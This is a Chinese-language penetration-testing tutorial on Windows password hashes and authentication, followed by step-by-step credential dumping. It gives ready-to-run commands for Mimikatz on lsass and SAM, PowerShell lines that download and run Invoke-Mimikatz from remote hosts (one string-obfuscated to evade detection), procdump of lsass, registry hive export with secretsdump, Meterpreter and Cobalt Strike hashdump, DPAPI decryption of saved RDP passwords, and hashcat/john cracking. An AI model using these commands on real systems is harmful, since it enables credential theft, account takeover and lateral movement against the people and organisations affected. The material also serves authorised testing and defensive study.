一、Windows HASH
1.什么是HASH
- 散列(Hash):是一种将任意长度的输入(或称消息)通过散列算法变换成固定长度的输出的方法。这种输出通常被称为散列值或消息摘要。
- 散列函数具有以下几个特性:
- 确定性:相同的输入总是产生相同的输出。
- 压缩性:输出的长度固定,通常远小于输入的长度。
- 单向性:从输出很难(或不可行)推导出原始输入。
- 抗碰撞性:不同的输入产生相同输出的概率极低。
2.Windows Hash 简介
-
Windows Hash是指在Windows操作系统中,用户密码通过特定的加密算法生成的散列值。
-
Windows系统主要使用以下两种哈希算法:
- LAN Manager (LM )哈希:一种较老的算法,安全性较低,容易受到暴力破解攻击。
- NT LAN Manager (NTLM )哈希:较新的算法,安全性较高,是Windows系统中更为常用的密码哈希方式。
- 随着技术的发展,NTLMv2和Kerberos验证体系也逐渐被采用,提供了更高的安全性。
- LM 哈希:密码最大长度为 14 个字符,超过 14 位的密码使用 NTLM 哈希。
- NTLM 哈希:支持更长的密码,并提供更高的安全性。
| 2000 | xp | 2003 | Vista | win7 | 2008 | 2012 | |
|---|---|---|---|---|---|---|---|
| LM | 是 | 是 | 是 | ||||
| NTLM | 是 | 是 | 是 | 是 | 是 | 是 | 是 |
在早期的 Windows 系统中,当密码超过 14 位时,会采用 NTLM 哈希。
3.Hash格式
在Windows系统中,密码哈希的存储格式通常遵循特定的结构,该结构包含用户名称、相对标识符 (RID)、LM哈希值和NTLM哈希值。
- 用户名称:标识用户的账户名。
- RID(Relative Identifier):一个唯一的数字标识符,用于在系统中唯一标识用户账户。
- LM-HASH:基于LAN Manager算法的密码哈希值。
- NTLM-HASH:基于NTLM Manager算法的密码哈希值。
格式示例:
用户名称:RID:LM-HASH值:NTLM-HASH值
test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::
当LM-HASH值为 AAD3B435B51404EEAAD3B435B51404EE 时,这通常表示:
- 空密码:用户的密码为空。
- 未使用LM 哈希:在某些情况下,系统可能没有使用LM哈希算法来处理密码。
4.Hash存储位置
Windows Hash 一般存储在两个地方:
- SAM 文件:存储在本地计算机上,包含本地用户的密码哈希。文件位置 C:\windows\system32\config\SAM
- NTDS.DIT 文件:存储在域控制器上,包含域用户的密码哈希。文件位置 C:\windows\NTDS\NTDS.dit
二、Windows认证基础
Windows 认证机制是确保用户身份和访问控制的关键环节。
它包括以下三种主要类型:
- 本地认证:用户直接在本地计算机上登录账户。
- 网络认证:用户通过远程连接访问工作组中的设备。
- 域认证:用户登录到域环境中的设备,通常涉及更复杂的安全策略和集中管理。
1.Windows本地认证
本地认证涉及用户在本地计算机上输入密码,并由系统进行验证。
以下是本地认证的详细过程:
- 用户输入密码:通过 winlogon.exe 进行用户界面交互。
- 密码处理:系统接收到密码后,由 lsass.exe 进程处理,将密码计算成 NTLM Hash。
- 哈希比对:计算得到的 NTLM Hash 与存储在 SAM 数据库 (%SystemRoot%\system32\config\sam)中的哈希值进行比对。
- 登录结果:如果哈希值匹配,则登录成功;否则登录失败。
在本地认证中, lsass.exe 进程负责处理用户输入的密码,并将其转换为NTLM Hash 用于比对。使用如 mimikatz 等工具可以读取 lsass.exe 进程中的明文密码。
winlogon 是用来管理用户登录和登出
lsass 是用于本地安全和登陆策略
2.Windows网络认证
网络认证是在工作组环境下,用户远程登录另一台计算机时所采用的认证机制。
1)网络认证过程:
- 协商:客户端和服务器端协商确定使用的 NTLM 协议版本(V1 或 V2)。不同协议使用不同格式的 Challenge 和加密算法。
- 质询: 客户端向服务器端发送用户信息(用户名)请求,服务器接受到请求后,判断本地用户列表是否存在 用户,如果不存在用户则认证失败 如果存在用户,服务器生成一个16位的随机数(Challenge),并使用用户名对应的 NTLM Hash 加 密 Challenge,生成 Challenge1 并保存在内存中。同时,将 Challenge 明文发送给客户端。
- 响应:客户端收到 Challenge 后,使用自己提供用户的密码生成 NTLM Hash,然后使用这个哈希值 加密 Challenge,生成 Response,并将 Response 发送至服务器端。
- 验证:服务器收到 Response 后,与内存中的 Challenge1 进行比对。如果匹配,则认证通过。
2)Net-NTLM-Hash破解(了解即可)
Net-NTLM-Hash 是在NTLM认证过程中,客户端使用其密码生成的 NTLM 哈希对服务端提供的 Challenge 进行加密后的结果。这种哈希虽然不能直接用于哈希传递攻击(Pass The Hash,PTH), 但攻击者可以通过暴力破解尝试恢复原始密码。
- 格式
username::domain:challenge:HMAC-MD5:blob
- 破解方法
hashcat -m 5600 net-ntlm-hash /tmp/password.list -o found.txt --force
- -m 5600:指定hashcat使用的哈希类型为Net-NTLMv2。
- -a 0:指定攻击模式为直接(dictionary attack)。
- net-ntlm-hash:输入捕获的 Net-NTLM Hash。
- /tmp/password.dict:指定包含密码的字典文件。
- -o found.txt:指定破解成功后输出的文件。
- –force:强制执行破解,忽略系统不支持的 Intel OpenCL 错误
3)Pass-The-Hash攻击(了解即可)
PTH 攻击简介
- Pass-The-Hash(PTH),哈希传递攻击
- PTH攻击利用了NTLM认证协议中的一个特性,即允许使用用户的密码哈希值进行认证,而不需要实 际的密码。
PTH攻击的关键步骤 - 获取NTLM 哈希:攻击者首先需要获取目标用户的NTLM哈希值。这可以通过网络嗅探、利用系统漏洞 或使用工具(如Mimikatz)从本地系统提取。
- 模拟认证请求:攻击者使用获取的NTLM哈希值,模拟正常的用户认证请求,向目标系统发送认证请 求。
- 建立会话:如果认证请求被接受,攻击者可以建立一个网络会话,执行远程命令或访问网络资源。
PTH与Windows网络认证的关系 - 利用NTLM 认证机制:PTH攻击主要利用了NTLM认证协议的特性。在NTLM认证过程中,客户端和服 务器通过交换加密的挑战和响应来验证用户身份。攻击者可以通过传递NTLM哈希值来绕过密码验 证。
- 挑战 响应机制:在NTLM认证中,服务器生成一个随机的挑战(Challenge),客户端使用其密码哈希 加密这个挑战,并将加密后的响应发送回服务器。PTH攻击中,攻击者使用获取的NTLM哈希值来生 成响应,从而绕过密码验证。
- 无需实际密码:PTH攻击的一个关键优势是攻击者不需要知道目标账户的实际密码,只需要其NTLM 哈希值。这使得攻击者可以在不触发密码尝试警报的情况下进行攻击。
三、系统用户凭证获取
1.Mimikatz
Mimikatz 是一个开源的项目,它能够提取 Windows 系统中的密码哈希、明文密码以及其他敏感信息,使用 Mimikatz 需要具备相应的系统权限,通常是Administrator 或 System 权限。
1)本地交互式
获取lsass.exe进程中的明文密码
# 运行mimikatz
mimikatz.exe
# 提升权限,获取系统调试权限,调试权限是一种高级别的权限,允许用户调试或诊断系统上的其他进程。
mimikatz # privilege::debug
# 记录日志
mimikatz # log re.txt
# 抓取登录密码
mimikatz # sekurlsa::logonpasswords
# 退出 Mimikatz
mimikatz # exit

工作原理:
- 权限提升:privilege::debug 命令通过调用 Windows 系统内部的权限提升机制,使得当前进程获得调试权限。
- 访问控制:一旦获得调试权限,Mimikatz 可以访问和操作其他进程的内存空间,这对于提取敏感信息(如密码哈希)至关重要。
- 安全漏洞利用:在 Windows 系统中,某些关键进程(如 lsass.exe)存储了用户的登录凭据。通过调试权限,Mimikatz 可以读取这些进程的内存,从而提取存储的密码哈希。
使用命令whoami /all查看

# 运行mimikatz
mimikatz.exe
# 提升权限,获取系统调试权限,调试权限是一种高级别的权限,允许用户调试或诊断系统上的其他进程
mimikatz # privilege::debug
# 提升当前进程的令牌权限,使其具有管理员级别的访问权限。
mimikatz # token::elevate
# 记录日志
mimikatz # log res.txt
# 从 Windows 系统的安全账户管理器(SAM)数据库中提取密码哈希。
mimikatz # lsadump::sam
# 提取 Windows 系统中存储的敏感信息,如密码、密钥和其他凭据。
mimikatz # lsadump::secrets
2)本地非交互式
# 执行命令并记录日志
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt
mimikatz.exe "log re.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" "exit"
3)Powershell 本地加载 mimikatz 脚本
powershell -ep bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords"'
powershell -ep bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"'
4)Powershell 远程加载 mimikatz 脚本
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.81.154:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz –DumpCreds
powershell IEX (New-Object Net.WebClient).DownloadString('https://gitee.com/yijingsec/nishang/raw/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds

5)Powershell 混淆
powershell -c "('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.81'+'.154:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
2.Get-PassHashes
Powershell 加载 Get-PassHashes 脚本
脚本地址:https://gitee.com/yijingsec/nishang/raw/master/Gather/Get-PassHashes.ps1
powershell IEX(new-object net.webclient).downloadstring('http://192.168.81.154:8000/Get-PassHashes.ps1');Get-PassHashes
可以将地址替换,不用自己开启web服务

3.Procdump+Mimikatz
Procdump 是 Sysinternals 套件中的一个实用工具,它可以捕获并转储正在运行的进程的内存 (dump)。 Mimikatz 能够从这些内存转储中提取密码哈希和明文密码。结合使用Procdump 和Mimikatz,可以从 Windows 系统中提取敏感的登录凭据。
1)Procdump 导出 lsass 进程
- 32位系统
procdump.exe -accepteula -ma lsass.exe lsass.dmp
- 64位系统
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

命令会生成一个名为 lsass.dmp 的文件,其中包含了 lsass.exe 进程的内存转储。
2)使用 mimikatz 还原密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"
这个命令会加载 lsass.dmp 文件,并使用 sekurlsa::logonPasswords 模块提取当前登录的用户的密码信息
4.Registry
Windows 注册表包含了系统启动和运行所需的配置和系统设置。其中, HKLM\SYSTEM、HKLM\SAM 和HKLM\SECURITY 分别存储着系统启动配置、用户账户信息和安全策略等关键数据。
1)使用 reg 命令导出注册表文件
# 导出 SYSTEM 键值
reg save HKLM\SYSTEM system.hiv
# 导出 SAM 键值
reg save HKLM\SAM sam.hiv
# 导出 SECURITY 键值
reg save HKLM\SECURITY security.hiv

2)使用 Mimikatz 分析导出的注册表文件
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" "exit"
这个命令利用Mimikatz 的 lsadump::sam 模块从导出的 .sam 和 .system 文件中提取用户账户的密码哈希。

3)使用 Impacket 分析导出的注册表文件
python -m pip install impacket
python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL
模块安装不了可以使用以下命令:
python -m pip install impacket -i https://mirrors.ustc.edu.cn/pypi/web/simple

使用exe程序
secretsdump.exe -sam sam.hiv -security security.hiv -system system.hiv LOCAL

5.LaZagne
1)使用
lazagne.exe

2)使用all模块
lazagne.exe all

6.Meterpreter
1)使用 Meterpreter 进行 Hashdump
使用之前需要提权
getsystem
- Hashdump
run post/windows/gather/hashdump
这个模块会尝试从内存中提取 Windows 系统的密码哈希。
- smart_hashdump
run post/windows/gather/smart_hashdump
smart_hashdump 是一个更先进的模块,它使用不同的技术来提高获取哈希的成功率。
2)使用 Meterpreter 加载 Mimikatz 模块
kiwi 是 Meterpreter 中 Mimikatz 的加载模块,它允许直接在 Meterpreter 会话中使用 Mimikatz 功能。
- 加载mimikatz模块
load kiwi
- 查看模块功能帮助
help kiwi
- 列举系统中的明文密码
creds_all
- 读取sam文件
lsa_dump_sam
- 查看基础命令和模块
# 查看基础命令
kiwi_cmd -h
# 查看有哪些模块,kiwi_cmd命令后面接mimikatz的模块命令
kiwi_cmd ::
- 从Windows的sam文件中读取密码hash值
kiwi_cmd lsadump::sam
- 获取明文密码
kiwi_cmd sekurlsa::logonpasswords
7.CobaltStrike–Beacon
1)Hashdump 命令
用于转储目标系统上的密码哈希。
hashdump
2)Logonpasswords 命令
logonpasswords 命令尝试从当前会话中获取当前登录用户的明文密码。
logonpasswords
3)Mimikatz 集成
CobaltStrike 集成了 Mimikatz,可以直接在 beacon 会话中运行 Mimikatz 命令
mimikatz sekurlsa::logonpasswords
mimikatz lsadump::sam
4)CobaltStrike凭证视图
CobaltStrike 将获取到的明文密码及密码 Hash 记录在“密码凭证视图”窗口中,提供了一个集中 的地方来查看所有收集到的凭证信息。
8.Windows Hash 破解
1)在线网站
https://www.cmd5.com/
https://www.somd5.com/
2)Hashcat破解
Hashcat 是一款高级的密码恢复工具,支持多种哈希类型和攻击模式。
Hashcat 学习记录 | 国光
四、其他密码凭证获
1.RDP连接密码解密
1)查看本地机器连接过的目标机器
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
此命令将列出所有通过 RDP 连接过的目标机器记录。
2)查看 RDP 密码文件
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
此命令将列出本地用户目录下存在的 RDP 密码文件。

3)查看保存在本地的远程主机信息
cmdkey /list
此命令将列出当前保存的凭据,包括 RDP 连接凭据。
4)选择一个RDP密码文件对其进行解密。
此处需要记录下 guidMasterKey 的值,待会要通过 guidMasterKey 找对应的 Masterkey。
privilege::debug
dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E3ADA266

5)根据 guidMasterKey 找到对应的 Masterkey
sekurlsa::dpapi

6.通过 Masterkey 解密 pbData 数据,拿到明文 RDP 连接密码
dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E3ADA266 /masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5bd7a448c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8
7.List-RDP-Connections-History 脚本使用
使用 PowerShell 脚本获取 RDP 连接的历史记录
powershell -exec bypass .\ListLogged-inUsers.ps1

2.MySQL数据库密码破解
一旦获取了网站一定的权限后,如果能够获取 MySQL 中保存的用户数据,通过解密后,即可通过正 常途径来访问数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。
MySQL 数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文 件读取权限后即可直接从数据库连接文件中读取。
一般都包含有数据库类型,物理位置,用户名和密码等信息。
1)MySQL数据库文件类型
MYSQL数据库文件共有 frm、 MYD 和 MYI 三种文件
- .frm:存储表结构的文件。
- .MYD:存储表数据的文件。
- .MYI:存储索引数据的文件。
与用户有关的一共有三个文件即user.frm、user.MYD 和 user.MYI用户密码信息通常存储在user.MYD文件中,包括 root 用户和其他用户的密码。
2)MySQL加密方式
MYSQL数据库的认证密码有两种加密方式
- MYSQL323:MySQL 4.1 版本之前使用的加密方式。
- MYSQLSHA1:MySQL 4.1 及之后版本使用的加密方式。
MySQL 提供了 Old_Password() 和 Password() 函数来进行相应加密方式的密码生成。
- MYSQL323:加密生成的是 16 位字符串
- MYSQLSHA1:加密生成的是 41 位字符串, * 不加入实际密码运算,因此实际为 40 位字符串
3)MySQL密码获取
获取MySQL数据库密码HASH值
用十六进制编辑器打开 user.MYD 文件,使用二进制模式查看,即可得到密码 Hash 值
4)密码HASH破解
(1)hashcat 破解
hashcat.exe -m 300 -a 3 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
- -m 300 指定了 MySQL323 加密方式
- -a 3 指定了使用的是字典攻击
(2)john the ripper 破解(推荐)
列出 John the Ripper 支持的 MySQL 相关哈希类型
john --list=formats | grep mysql
创建了一个包含哈希值的文件
echo '*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B' > mysql.hash
使用指定格式进行破解尝试
john --format=mysql-sha1 mysql.hash

3.应用程序密码解密
1)SharpDecryptPwd
SharpDecryptPwd 是一个开源工具,专门设计用于解密在 Windows 系统中保存的应用程序密码。该 工具能够解析多种流行应用程序的加密密码,包括但不限于数据库管理工具、远程桌面连接工具和文件传输客户端。
支持的应用程序:
- Navicat
- TeamViewer
- FileZilla
- WinSCP
- XMangager 系列产品(如 Xshell, Xftp)
该工具通过提取应用程序存储的加密密码,并使用相应的解密算法恢复原始密码,从而为安全研究人 员提供了一种方便的方式来获取这些敏感信息。
2)HackBrowserData
HackBrowserData 是一个多功能浏览器数据导出工具,能够从主流浏览器中提取各种敏感数据,包括密码、历史记录、Cookie、书签、信用卡信息、下载记录、localStorage 和浏览器插件等。
支持的浏览器: Chrome、 Firefox、 Edge、 Safari 等其他主流浏览器
HackBrowserData 通过分析浏览器的存储机制,提取并导出用户数据,为安全审计和渗透测试提供了 重要的数据支持。